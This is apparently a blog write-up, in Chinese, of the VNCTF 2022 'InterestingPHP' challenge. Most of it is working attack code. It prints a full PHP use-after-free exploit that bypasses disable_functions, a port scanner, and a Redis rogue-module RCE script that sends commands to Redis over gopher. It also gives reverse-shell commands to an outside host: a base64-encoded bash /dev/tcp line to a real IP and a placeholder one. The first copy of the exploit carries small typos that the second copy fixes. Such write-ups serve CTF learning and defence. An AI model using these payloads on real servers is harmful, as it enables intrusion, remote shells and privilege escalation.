VNCTF 2022 InterestingPHP

202 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第22天,点击查看活动详情

打开环境后就一行简单的代码,真的是代码越短题目越难啊。。。。

 <?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

这里尝试phpinfo等都被ban了,所以要通过其他函数读取一下disable_function查看一下过滤函数

函数

读取配置信息主要是这两个函数

ini_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ini_get_all — 获取所有配置选项

说明 ini_get_all(string extension=?,boolextension = ?, bool details = true): array 获取所有已注册的配置选项

get_cfg_var

(PHP 4, PHP 5, PHP 7, PHP 8)

get_cfg_var — 获取 PHP 配置选项的值

说明 get_cfg_var(string $option): mixed 获取 PHP 配置选项 option 的值。

此函数不会返回 PHP 编译的配置信息,或从 Apache 配置文件读取。

检查系统是否使用了一个配置文件,并尝试获取 cfg_file_path 的配置设置的值。 如果有效,将会使用一个配置文件。

黑名单

在使用get_cfg_var发现无回显,后来换成了ini_get_all读取配置信息,读取后发现原来get_cfg_var也被ban了

image-20220607202340473

解法一

写个上传入口

<form id="upload-form" action="http://adbda8f7-1894-4fb9-97b9-0ec6f2be294c.node4.buuoj.cn:81/?exp=eval($_POST[1]);" method="post" enctype="multipart/form-data" >
<input type="file" id="Upload" name="1" /> <br />
<input type="submit" value="Upload" />
</form>

发现可以执行并且php版本为7.2.25

image-20220607203456500

直接用师傅的脚本绕过disable_functions

github.com/mm0r1/explo…

在执行前先看下有没有被过滤的部分

filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
',')
payload = '''
<?php
pwn('uname -a');
​
function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}
​
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;
​
    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }
​
    private function go() {
        $this->abc = &$this->filtername;
​
        $this->make_uaf_obj();
​
        $this->helper = new Helper;
        $this->helper->b = function($x) {};
​
        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);
​
        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);
​
        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
​
        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);
​
        $this->prepare_leaker();
​
        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);
​
        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);
​
        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);
​
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);
​
        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);
​
        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);
​
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);
​
        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);
​
        $this->cleanup();
        ($this->helper->b)(CMD);
    }
​
    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }
​
    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);
​
        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }
​
    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }
​
    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }
​
    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
​
    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }
​
    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }
​
    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }
​
    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }
​
    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
​
    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }
    }
​
    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>
'''
for i in filter:
# print(i)
    if i in payload:
        print(i)
        continue

发现fwrite被过滤,但可以用fputs

pwn('uname -a');
​
function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}
​
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;
​
    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }
​
    private function go() {
        $this->abc = &$this->filtername;
​
        $this->make_uaf_obj();
​
        $this->helper = new Helper;
        $this->helper->b = function($x) {};
​
        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);
​
        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);
​
        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
​
        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);
​
        $this->prepare_leaker();
​
        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);
​
        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);
​
        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);
​
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);
​
        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);
​
        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);
​
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);
​
        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);
​
        $this->cleanup();
        ($this->helper->b)(CMD);
    }
​
    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }
​
    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);
​
        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }
​
    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }
​
    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }
​
    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
​
    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }
​
    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }
​
    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }
​
    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }
​
    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
​
    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }
​
    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}

修改好后将echo "123";换成上边的poc,发现成功执行

image-20220607203704771

弹个shell

image-20220607203817196

弹完后发现没有权限

image-20220607203850079

find / -perm -u=s -type f 2>/dev/null

image-20220607223655365

suid提权 --> pkexec提权arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (github.com)

下载好后传到服务器上,通过curl命令传到对方服务器上,在进行命令执行

image-20220607204239576

解法二

执行var_dump(scandir('.'));后,发现本地有个redis备份文件

image-20220607204832514

通过/?exp=highlight_file('secret.rdb'); 得到redis key,ye_w4nt_a_gir1fri3nd

image-20220607205827029

本题的默认端口不是6379,所以需要扫一下redis的端口

<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

base64编码+url编码后写入2.php

image-20220607220042274

访问2.php,得到对应的端口8888

image-20220607220059774

之后通过get_loaded_extensions()查看所有加载的拓展,看其中有没有能够与redis进行交互的?exp=var_dump(get_loaded_extensions());(蚁剑默认使用的是stream_get_contents()但这里被ban了)

image-20220607220418762

发现redis类可用,参考:

blog.csdn.net/raoxiaoya/a…

learnku.com/articles/32…

得到redis类、端口和key后,使用redis 加载模块的方式rce xz.aliyun.com/t/5665#toc-…

上传so文件到本地服务器 之后反弹shell

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

将exp.so进行base64编码,在进行url编码,之后通过file_put_contents写入目标服务器的exp.so文件中

image-20220607214956595

image-20220607215205404

再写个执行exp.so的文件1.php,Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作

<?php
highlight_file(__FILE__); 
$redis = new Redis(); 
$redis->connect('127.0.0.1',8888); 
$redis->auth('ye_w4nt_a_gir1fri3nd'); 
$redis->rawCommand('module','load','/var/www/html/exp.so'); 
$redis->rawCommand("system.exec","bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}'");

同样base64编码+url编码后,写入1.php

image-20220607215331227

访问1.php成功反弹shell

image-20220607215442595

也可以直接用脚本

import requests
url = "http://fd489e4d-b856-427b-aa9b-4616a6d053a2.node4.buuoj.cn:81/?exp=eval($_POST[1]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
​
def encoder_url(data):
    encoder = ""
    for single_char in data:
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder
​
so = "http://xxxxx/exp.so"
payload = '''
      function getSslPage($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            file_put_contents("exp.so",$result);
      }
      getSslPage("%s");
'''.strip()
data = {
    1: payload % so
}
​
fh = requests.post(url, data, headers=headers).text.strip()
print(fh)
​
gopher = "gopher://127.0.0.1:8888/_"
data = '''
auth ye_w4nt_a_gir1fri3nd
config set dbfilename 666.rdb
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/xxxxxxx/4000 0>&1"'
'''
encoder = encoder_url(data)
payload1 = gopher + encoder
​
data1 = {
    1:payload % payload1
}
fh1 = requests.post(url,data1,headers=headers).text.strip()
print(fh1)
​

接着就是提权了 跟前边一样